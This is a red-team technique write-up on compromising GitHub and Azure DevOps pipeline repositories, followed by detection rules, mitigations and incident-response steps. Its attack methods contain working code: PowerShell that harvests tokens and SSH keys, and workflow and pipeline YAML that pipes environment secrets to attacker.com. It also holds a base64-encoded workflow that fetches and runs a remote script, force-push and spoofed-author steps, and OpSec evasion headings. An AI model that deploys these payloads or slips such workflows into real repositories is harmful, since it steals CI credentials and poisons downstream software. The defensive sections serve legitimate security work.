MCADDF

[SUPPLY-CHAIN-001]: Pipeline Repository Compromise

Metadata

Attribute Details
Technique ID SUPPLY-CHAIN-001
MITRE ATT&CK v18.1 Compromise Software Dependencies and Development Tools (T1195.001)
Tactic Resource Development / Initial Access
Platforms Entra ID / DevOps (Azure DevOps, GitHub)
Severity Critical
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions GitHub Actions (all versions), Azure DevOps (all versions), GitLab (all versions)
Patched In N/A - architectural vulnerability, not patch-dependent
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS v1.4.0 – SCM-2.2 Source code management requires branch protection, code review, and audit logging for all changes.
DISA STIG AC-2(a) – Account Management Access to software repositories must be restricted to authorized personnel with MFA and regular credential rotation.
CISA SCuBA SCUBA-GH-A1-01 GitHub organizations must enforce MFA for all members and restrict action execution to approved workflows.
NIST 800-53 SI-7 – Software, Firmware, and Information Integrity Implement integrity controls for software development and deployment tools.
GDPR Art. 32 – Security of Processing Technical and organizational measures must protect the integrity of processing systems, including development pipelines.
DORA Art. 9 – Protection and Prevention Financial entities must establish controls to detect and prevent ICT threats to development infrastructure.
NIS2 Art. 21 – Cyber Risk Management Measures Critical infrastructure operators must secure development and CI/CD pipelines against unauthorized access.
ISO 27001 A.8.3.4 – Password Management Source control access credentials must be managed securely and rotated regularly.
ISO 27005 Risk Scenario: Compromise of Source Code Repository Assess risks of unauthorized modification or injection of malicious code into development repositories.

2. TECHNICAL PREREQUISITES

Supported Versions:


3. ENVIRONMENTAL RECONNAISSANCE

Entra ID / Azure DevOps Reconnaissance

Check for service accounts with high-privilege access:

# List service connections in Azure DevOps with exposed credentials
az devops service-endpoint list --organization "https://dev.azure.com/{org}" --project "{project}" --query "[?type=='GitHub' || type=='GitHubEnterpriseServer'].{name: name, url: url, authorization: authorization}"

# Check for personal access tokens in Entra ID
az ad app credential list --id "{app-id}" --query "[].{displayName: displayName, startDate: startDate}"

# Enumerate GitHub organization members and permissions
gh api orgs/{org}/members --paginate --query '.[].login'
gh api orgs/{org}/teams --paginate --query '.[].name'

What to Look For:

Version Note: GitHub token enumeration commands work identically across all GitHub versions (Enterprise and Cloud). Azure DevOps queries may differ slightly between Azure DevOps Services and Server versions.

Linux/Bash / Azure CLI Reconnaissance

# List all PATs in an Azure DevOps organization (requires admin)
az devops security permission list --id 26338d40-e3cd-40e2-90a5-37eb4f00a4e1 --recurse true --detect --organization "https://dev.azure.com/{org}" 

# Check GitHub repository branch protection rules
curl -H "Authorization: token $GITHUB_TOKEN" \
  "https://api.github.com/repos/{owner}/{repo}/branches/{branch}/protection" | jq '.required_pull_request_reviews'

# List all GitHub deployments and deployment keys (potential backdoors)
gh api repos/{owner}/{repo}/deployments --paginate --query '.[].{id: id, creator: creator, status_state: status_state}'

What to Look For:


4. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Credential Theft via Compromised Developer Account (Phishing/Malware)

Supported Versions: GitHub (all versions), Azure DevOps (all versions), GitLab (all versions)

Step 1: Obtain Valid Repository Credentials

Objective: Acquire GitHub PAT, Azure DevOps PAT, or SSH key through phishing, malware, or open-source leak.

Command (Credential Theft via Malware):

# Exfiltrate GitHub PAT from environment variables or config files
$githubToken = $env:GITHUB_TOKEN
if (-not $githubToken) {
    $githubToken = Get-Content "~\.github\credentials" -ErrorAction SilentlyContinue
}

# Exfiltrate Azure DevOps PAT
$azureToken = $env:SYSTEM_ACCESSTOKEN  # Set in Azure Pipelines jobs
if (-not $azureToken) {
    $azureToken = Get-Content "~\.azure\tokens" -ErrorAction SilentlyContinue
}

# Exfiltrate SSH keys for Git authentication
$sshKeys = Get-ChildItem "~\.ssh\" -Filter "id_*" -Exclude "*.pub" | Select-Object -ExpandProperty FullName

# Exfiltrate git config credentials
git config --global --get-all credential.helper | Write-Output

Expected Output:

ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
C:\Users\attacker\.ssh\id_ed25519
C:\Users\attacker\.ssh\id_rsa

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Authenticate to Repository and Enumerate Branch Protection

Objective: Validate stolen credentials and identify branch protection bypass opportunities.

Command (GitHub):

# Test GitHub PAT authentication
curl -H "Authorization: token $GITHUB_TOKEN" \
  "https://api.github.com/user" | jq '.login, .id'

# List repository branch protection rules (requires `repo` or `admin:repo_hook` scope)
curl -H "Authorization: token $GITHUB_TOKEN" \
  "https://api.github.com/repos/{owner}/{repo}/branches/main/protection" | jq '.'

# Check if pull request reviews can be dismissed
curl -H "Authorization: token $GITHUB_TOKEN" \
  "https://api.github.com/repos/{owner}/{repo}/branches/main/protection/required_pull_request_reviews" \
  | jq '.dismiss_stale_reviews'

Expected Output (Vulnerable Config):

{
  "required_pull_request_reviews": {
    "dismissal_restrictions": {
      "users": [],
      "teams": []
    },
    "dismiss_stale_reviews": true,
    "require_code_owner_reviews": false,
    "required_approving_review_count": 1
  },
  "enforce_admins": false
}

What This Means:

Command (Azure DevOps):

# List Azure DevOps repository policies
az repos policy list --organization "https://dev.azure.com/{org}" --project "{project}" --repository-id "{repo-id}" --detect

# Check if require reviewer policy is enforced
az repos policy approver-count list --organization "https://dev.azure.com/{org}" --project "{project}" --repository-id "{repo-id}"

OpSec & Evasion:

Step 3: Create Malicious Commit and Push to Protected Branch

Objective: Inject malicious code into main/master branch, bypassing branch protection if possible.

Command (Bypass Stale Review Dismissal):

# Clone repository
git clone https://github.com/{owner}/{repo}.git
cd {repo}

# Configure git with attacker identity
git config user.name "Legitimate Developer"
git config user.email "dev@company.com"

# Create malicious code change (e.g., CI/CD credential exfiltration)
cat >> ".github/workflows/exfil-secrets.yml" << 'EOF'
name: Exfiltrate Secrets
on: [push, pull_request]
jobs:
  exfil:
    runs-on: ubuntu-latest
    steps:
      - name: Dump Secrets
        run: |
          echo "Exfiltrating credentials..."
          env | grep -E "TOKEN|SECRET|KEY|PASSWORD" | base64 -w0 | \
          curl -d @- https://attacker.com/webhook
EOF

# Commit malicious change
git add .github/workflows/exfil-secrets.yml
git commit -m "Fix: Add security scanning workflow"

# Bypass branch protection by creating PR, waiting for CI to pass, then force-pushing
# (Only works if enforce_admins=false and attacker is repo admin)
git push --force origin main

Expected Output (Success):

Enumerating objects: 5, done.
Counting objects: 100% (5/5), done.
...
 + [force update] main -> main (forced update)

What This Means:

Command (Alternative: Merge Stale PR):

# If require_code_owner_reviews=false, attacker can:
# 1. Create PR with malicious code
# 2. Wait for legitimate approval
# 3. Dismiss stale reviews (if enabled)
# 4. Make new innocuous changes to reset review counter
# 5. Merge without new approval

# Create feature branch
git checkout -b feature/add-security-policy
# ... make malicious commit ...
git push origin feature/add-security-policy

# Open PR via GitHub Web UI or:
gh pr create --base main --head feature/add-security-policy --title "Add security scanning" --body "Standard security improvement"

OpSec & Evasion:

Troubleshooting:

Step 4: Trigger Workflow and Exfiltrate Credentials

Objective: Ensure malicious workflow executes and sensitive data is exfiltrated to attacker infrastructure.

Command (Manual Trigger):

# Trigger workflow run manually (requires workflow_dispatch event)
gh workflow run exfil-secrets.yml --repo {owner}/{repo}

# Monitor workflow execution in real-time
gh run watch --repo {owner}/{repo} --exit-status

# Retrieve workflow logs (including exfiltrated data)
gh run view {run-id} --repo {owner}/{repo} --log

Expected Output (Exfiltrated Secrets):

Exfiltrating credentials...
GITHUB_TOKEN=ghu_xxxxxxxxxxxxx
NPM_TOKEN=npm_xxxxxxxxxxxxx
DOCKER_PASSWORD=xxxxxxxxxxxxx
AWS_ACCESS_KEY_ID=AKIAxxxxxxxxxxxxx

What This Means:

Command (Automatic Trigger on Push):

# Malicious workflow runs automatically on every push
git commit --allow-empty -m "Trigger workflow"
git push origin main

# Workflow executes and exfiltrates secrets to attacker webhook
# Attacker can monitor webhook for incoming secrets in real-time

OpSec & Evasion:


METHOD 2: Compromise via OAuth Application Token Abuse (Zero-Click)

Supported Versions: GitHub (3.0+), GitHub Enterprise Server (3.0+), Azure DevOps (all)

Step 1: Enumerate OAuth Applications with High Privileges

Objective: Identify OAuth applications granted broad permissions (e.g., repo:admin, workflow) by legitimate users.

Command (GitHub):

# Enumerate OAuth applications (visible to any user)
gh auth status --show-token  # Shows current token scope

# Enumerate organization OAuth apps (requires admin in organization)
curl -H "Authorization: token $GITHUB_TOKEN" \
  "https://api.github.com/orgs/{org}/installations" | jq '.[].{id: id, app_id: app_id, account: account}'

# Check app permissions
curl -H "Authorization: token $GITHUB_TOKEN" \
  "https://api.github.com/app/installations/{installation_id}/access_tokens" \
  -X POST \
  -d '{"permissions": {"contents": "read", "workflows": "write"}}' | jq '.token'

What to Look For:

Step 2: Pivot to Repository Write Access

Objective: Use leaked OAuth token to create malicious PR or commit.

Command:

# Using stolen OAuth app token, create malicious commit on protected branch
curl -X POST \
  -H "Authorization: token $OAUTH_APP_TOKEN" \
  -H "Accept: application/vnd.github.v3+json" \
  "https://api.github.com/repos/{owner}/{repo}/contents/.github/workflows/steal-secrets.yml" \
  -d '{
    "message": "Add workflow",
    "content": "bmFtZTogU3RlYWwgU2VjcmV0cwpvbjogW3B1c2hdCmpvYnM6CiAgc3RlYWw6CiAgICBydW5zLW9uOiB1YnVudHUtbGF0ZXN0CiAgICBzdGVwczoKICAgICAgLSBydW46IHdnZXQgaHR0cHM6Ly9hdHRhY2tlci5jb20vc3RlYWwuc2ggfCBiYXNo",
    "branch": "main"
  }'

OpSec & Evasion:


METHOD 3: Compromise via Compromised Entra ID Service Principal

Supported Versions: Azure DevOps (all), GitHub Enterprise with OIDC federation

Step 1: Obtain Service Principal Credentials (via Azure Key Vault leak or CI/CD logs)

Objective: Extract service principal credentials used by automation, stored in Azure Key Vault or CI logs.

Command (Azure DevOps Credential Leak):

# Service principal credentials are often hardcoded in Azure Pipelines
# Example: Service connection stores credentials in System.AccessToken

# Access exposed service principal credentials from build logs
# (if logging is not properly sanitized)
$servicePrincipalToken = $env:SYSTEM_ACCESSTOKEN

# Create access token using service principal client ID and secret
$clientId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
$clientSecret = "xxx~xxxxxxxxx-xxxxxxxxxxxxxxxxxxxx"
$tenantId = "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"

# Authenticate to Azure
$body = @{
    grant_type    = "client_credentials"
    client_id     = $clientId
    client_secret = $clientSecret
    resource      = "https://dev.azure.com"
} | ConvertTo-Json

$response = Invoke-RestMethod -Uri "https://login.microsoftonline.com/$tenantId/oauth2/token" `
    -Method POST -ContentType "application/json" -Body $body

$azureToken = $response.access_token

Expected Output:

access_token : eyJhbGc... [truncated JWT token]

What This Means:

Step 2: Modify Azure DevOps Repository Settings

Objective: Inject malicious code into Azure DevOps pipeline YAML or create backdoor pipeline.

Command:

# Using service principal token, update Azure Pipelines YAML to exfiltrate secrets
$azureDevOpsOrg = "https://dev.azure.com/{org}"
$project = "{project}"
$repoId = "{repo-id}"
$filePath = "azure-pipelines.yml"

$maliciousYAML = @'
trigger:
  - main

pool:
  vmImage: 'ubuntu-latest'

steps:
- script: |
    env | grep -E "TOKEN|SECRET|KEY" | curl -d @- https://attacker.com/webhook
  displayName: 'Build'
'@

# Update pipeline file
$updateUri = "$azureDevOpsOrg/$project/_apis/git/repositories/$repoId/pushes?api-version=7.0"

$headers = @{
    Authorization = "Bearer $azureToken"
    "Content-Type" = "application/json"
}

$pushPayload = @{
    refUpdates = @(
        @{
            name        = "refs/heads/main"
            oldObjectId = "0000000000000000000000000000000000000000"
            newObjectId = (git rev-parse HEAD)
        }
    )
    commits = @(
        @{
            comment = "Update pipeline"
            changes = @(
                @{
                    changeType = 2  # Add
                    item       = @{ path = $filePath }
                    newContent = @{ content = $maliciousYAML; contentType = 2 }  # Plain text
                }
            )
        }
    )
} | ConvertTo-Json -Depth 10

Invoke-RestMethod -Uri $updateUri -Method POST -Headers $headers -Body $pushPayload

OpSec & Evasion:


5. ATTACK SIMULATION & VERIFICATION (Atomic Red Team)

Note: No official Atomic Red Team test exists for repository compromise (not applicable to Windows endpoints). The following represents a red team exercise framework:

Manual Red Team Exercise

Execution Steps:

  1. Stand up isolated dev environment with test repository
  2. Create service account with developer permissions
  3. Simulate credential theft (distribute leaked PAT)
  4. Inject malicious workflow via compromised account
  5. Monitor detection tools for alerting
  6. Measure time-to-detection (TTD)
  7. Remediate via credential revocation and branch reset

6. TOOLS & COMMANDS REFERENCE

GitHub CLI (gh)

Version: 2.0+
Minimum Version: 2.0
Supported Platforms: Windows, macOS, Linux

Installation:

# macOS
brew install gh

# Windows (via Chocolatey)
choco install gh

# Linux (via package manager)
sudo apt-get install gh

# Verify installation
gh --version

Usage Examples:

# Authenticate to GitHub
gh auth login

# Create a pull request
gh pr create --base main --head feature-branch --title "Add feature"

# Enumerate repository collaborators
gh repo view {owner}/{repo} --json collaborators --template '' --jq '.[] | .login'

# List all workflows in repository
gh workflow list --repo {owner}/{repo}

# Trigger a workflow
gh workflow run {workflow-name} --repo {owner}/{repo}

# View workflow run logs
gh run view {run-id} --repo {owner}/{repo} --log

Azure CLI

Version: 2.0+
Minimum Version: 2.0
Supported Platforms: Windows, macOS, Linux

Installation:

# macOS
brew install azure-cli

# Windows
msiexec /i AzureCLI.msi

# Linux
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

Usage Examples:

# Authenticate
az login

# List service connections
az devops service-endpoint list --organization "https://dev.azure.com/{org}" --project "{project}"

# Update repository policy
az repos policy create --organization "https://dev.azure.com/{org}" --project "{project}" --repository-id "{repo-id}"

# Create service principal
az ad sp create-for-rbac --name "BuildAutomation" --role "Contributor"

git

Version: 2.30+

Critical Commands:

# Clone repository
git clone https://github.com/{owner}/{repo}.git

# Create and push branch
git checkout -b malicious-branch
git commit --allow-empty -m "Trigger CI/CD"
git push -u origin malicious-branch

# Force push (if allowed by branch protection)
git push --force origin main

# Revert commits (post-compromise cleanup)
git revert HEAD~5..HEAD
git push origin main

7. MICROSOFT SENTINEL DETECTION

Query 1: Detect Unauthorized Repository Pushes (GitHub)

Rule Configuration:

KQL Query:

// Detect suspicious pushes to main/master branch outside normal hours
GithubAuditLog
| where TimeGenerated > ago(5m)
| where event == "push"
| where action == "repo.push" or action == "push"
| where ref == "refs/heads/main" or ref == "refs/heads/master"
| extend actor = tostring(actor)
| extend payload = parse_json(payload)
| where hourofday(TimeGenerated) < 6 or hourofday(TimeGenerated) > 22  // Outside business hours
| where actor !in ('github-actions[bot]', 'dependabot[bot]')  // Exclude bots
| project TimeGenerated, actor, repository, ref, commit_count = toint(payload.push.size), action
| where commit_count > 0
| summarize PushCount = count() by actor, repository
| where PushCount > 3  // Multiple pushes in short window

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Suspicious Repository Push to Main Branch
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents
    • Set entity mapping: actor → Account.Name, repository → CloudApplication.Name
  7. Click Review + create

Manual Configuration Steps (PowerShell):

Connect-AzAccount
$ResourceGroup = "your-rg"
$WorkspaceName = "your-sentinel-workspace"

# Note: Requires Azure Sentinel resource provider registration
$ruleContent = @{
    displayName = "Suspicious Repository Push to Main Branch"
    description = "Detects unauthorized or unusual pushes to main branch"
    severity    = "High"
    enabled     = $true
    query       = (Get-Content -Path "kql-query.kql" -Raw)
    frequency   = "PT5M"
    period      = "PT1H"
}

Source: GitHub Audit Log API Documentation

Query 2: Detect Azure Pipelines Credential Exfiltration

Rule Configuration:

KQL Query:

// Detect Azure Pipelines jobs that access environment variables (credential theft pattern)
AzureActivity
| where TimeGenerated > ago(1m)
| where OperationNameValue in ('Microsoft.Build/builds/write', 'Microsoft.VisualStudio/pipelines/read', 'Microsoft.VisualStudio/pipelines/execute')
| where ActivityStatusValue == "Success" or ActivityStatusValue == "Started"
| extend Properties = parse_json(tostring(Properties))
| extend JobName = tostring(Properties.jobName), BuildId = tostring(Properties.buildId)
| where JobName has_any ('secret', 'cred', 'token', 'key', 'password', 'exfil', 'dump')  // Suspicious keywords
| project TimeGenerated, Caller, OperationNameValue, JobName, BuildId, ActivityStatusValue
| summarize ExfiltrationAttempts = count() by Caller, JobName
| where ExfiltrationAttempts > 1

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Azure Pipelines Credential Exfiltration Attempt
    • Severity: Critical
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 1 minute
  6. Incident settings Tab:
    • Enable Create incidents
    • Set entity mapping: Caller → Account.Name, BuildId → Process.Name
  7. Click Review + create

8. WINDOWS EVENT LOG MONITORING

Note: Repository compromise is a cloud-based attack and does not generate Windows Event Log entries. However, if a CI/CD agent is running on Windows, the following events may indicate compromise:

Event ID: 4688 (Process Creation)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy Configuration
  3. Enable: Process CreationAudit Process Creation
  4. Set to: Success and Failure
  5. Run gpupdate /force on CI/CD agent machines

Event ID: 4690 (Registry Object Access)


9. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Mitigations)

# Check if branch protection is enforced
curl -H "Authorization: token $GITHUB_TOKEN" \
  "https://api.github.com/repos/{owner}/{repo}/branches/main/protection" | \
  jq 'if .enforce_admins == true then "✓ Admins cannot bypass" else "✗ Admins can bypass" end'

# Check if MFA is enforced in organization
curl -H "Authorization: token $GITHUB_TOKEN" \
  "https://api.github.com/orgs/{org}" | jq '.two_factor_requirement_enabled'

# Verify PAT expiration is set
curl -H "Authorization: token $GITHUB_TOKEN" \
  "https://api.github.com/user/installations" | jq '.[].expires_at'

Expected Output (If Secure):

✓ Admins cannot bypass
true
"2026-04-10T00:00:00Z"

What to Look For:


10. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Command:
    # Immediately revoke compromised credentials
    curl -H "Authorization: token $GITHUB_TOKEN" \
      -X DELETE \
      "https://api.github.com/applications/grants/{grant_id}"
        
    # Revoke Azure DevOps service connections
    az devops service-endpoint delete --organization "https://dev.azure.com/{org}" \
      --id "{endpoint_id}" --yes
    

    Manual (GitHub):

    • Go to Organization SettingsPersonal access tokens → Revoke all active tokens
    • Go to Organization SettingsAuthorized OAuth Apps → Revoke access for suspicious apps

    Manual (Azure DevOps):

    • Go to Project SettingsService Connections → Delete compromised service connections
    • Force sign-out of all users via Entra ID
  2. Collect Evidence: Command:
    # Export Git commit history
    git log --all --oneline --decorate > /tmp/git-history.txt
        
    # Export GitHub audit logs
    curl -H "Authorization: token $GITHUB_TOKEN" \
      "https://api.github.com/orgs/{org}/audit-log" > /tmp/audit-log.json
        
    # Export Azure activity logs
    az activity-log list --resource-group "{rg}" --output json > /tmp/activity-log.json
    

    Manual:

    • Download workflow execution logs: RepositoryActions → Select run → Download logs
    • Export Azure Audit Logs: Azure PortalMonitorAudit logs → Download
  3. Remediate: Command:
    # Revert malicious commits
    git revert <commit-hash>
    git push origin main
        
    # Delete malicious workflows
    rm .github/workflows/malicious-workflow.yml
    git commit -m "Remove malicious workflow"
    git push origin main
        
    # Reset branch protection rules
    curl -H "Authorization: token $GITHUB_TOKEN" \
      -X PUT \
      -d '{"enforce_admins": true, "required_pull_request_reviews": {"required_approving_review_count": 2}}' \
      "https://api.github.com/repos/{owner}/{repo}/branches/main/protection"
    

    Manual:

    • Create new PATs with fresh credentials
    • Reset all OAuth app authorizations
    • Force password reset for all developer accounts
    • Rotate all CI/CD secrets (NPM tokens, Docker registry keys, cloud credentials)

Step Phase Technique Description
1 Resource Development [REC-CLOUD-002] ROADtools reconnaissance to enumerate service principals and applications in Entra ID
2 Initial Access [IA-PHISH-001] Device code phishing to compromise developer account credentials
3 Credential Access [CA-CRED-015] OAuth consent abuse to obtain high-privilege application tokens
4 Current Step [SUPPLY-CHAIN-001] Pipeline Repository Compromise - inject malicious code
5 Execution [EXE-CI-CD-001] Trigger CI/CD pipeline to execute malicious workflow and exfiltrate secrets
6 Persistence [PERSIST-001] Create backdoor service principal or deployment key for continued access
7 Exfiltration [EXFIL-001] Harvest and exfiltrate GitHub/npm tokens, cloud credentials to attacker infrastructure
8 Impact [SUPPLY-CHAIN-002] Build System Access Abuse - use stolen tokens to poison downstream packages

12. REAL-WORLD EXAMPLES

Example 1: GitHub Action tj-actions/changed-files (March 2025)

Example 2: Shai-Hulud NPM Supply Chain Attack (August 2025)

Example 3: SolarWinds Supply Chain Compromise (December 2020)


Appendix: Secure Pipeline Configuration Examples

Example 1: Hardened GitHub Actions Workflow

name: Secure Build Pipeline
on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

permissions:
  contents: read
  pull-requests: read

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - name: Checkout code (read-only)
        uses: actions/checkout@v3
        with:
          fetch-depth: 0
          
      - name: Scan secrets
        run: |
          pip install detect-secrets
          detect-secrets scan --baseline .secrets.baseline
          
      - name: Lint and test
        run: |
          npm install
          npm run lint
          npm test
          
      - name: Build (no external calls)
        run: npm run build
        
      - name: SBOM generation
        uses: CycloneDX/cyclonedx-npm@v4
        with:
          output-file: cyclonedx-sbom.json
          
      - name: Sign and hash artifacts
        run: |
          sha256sum dist/* > CHECKSUMS.txt
          gpg --detach-sign CHECKSUMS.txt
          
  deploy:
    needs: build
    runs-on: ubuntu-latest
    if: github.ref == 'refs/heads/main'
    environment:
      name: production
      url: https://example.com
    permissions:
      contents: read
      deployments: read
    steps:
      - name: Wait for approval
        run: echo "Approved by human reviewer"
        
      - name: Deploy to production
        run: echo "Deploying verified artifacts..."

Example 2: Hardened Azure Pipeline

trigger:
  - main

pr:
  - main

pool:
  vmImage: 'ubuntu-latest'

variables:
  buildConfiguration: 'Release'

stages:
- stage: Build
  displayName: 'Build and Test'
  jobs:
  - job: BuildJob
    displayName: 'Build Job'
    steps:
    - checkout: self
      fetchDepth: 0
      
    - task: UsePythonVersion@0
      inputs:
        versionSpec: '3.10'
        
    - script: |
        pip install detect-secrets truffleHog
        truffleHog filesystem . --json | tee secrets.json
        if [ -s secrets.json ]; then
          echo "Secrets detected - failing build"
          exit 1
        fi
      displayName: 'Scan for Secrets'
      
    - script: |
        npm install --frozen-lockfile
        npm run lint
        npm test
      displayName: 'Build and Test'
      
    - script: |
        npm run build
        sha256sum dist/* > CHECKSUMS.txt
      displayName: 'Package Artifacts'
      
- stage: Deploy
  displayName: 'Deploy to Production'
  dependsOn: Build
  condition: and(succeeded(), eq(variables['Build.SourceBranch'], 'refs/heads/main'))
  jobs:
  - deployment: ProductionDeploy
    displayName: 'Production Deployment'
    environment: 'production'
    strategy:
      runOnce:
        deploy:
          steps:
          - download: current
            artifact: drop
          - script: |
              echo "Deploying to production..."
              # Deployment scripts here
            displayName: 'Deploy Application'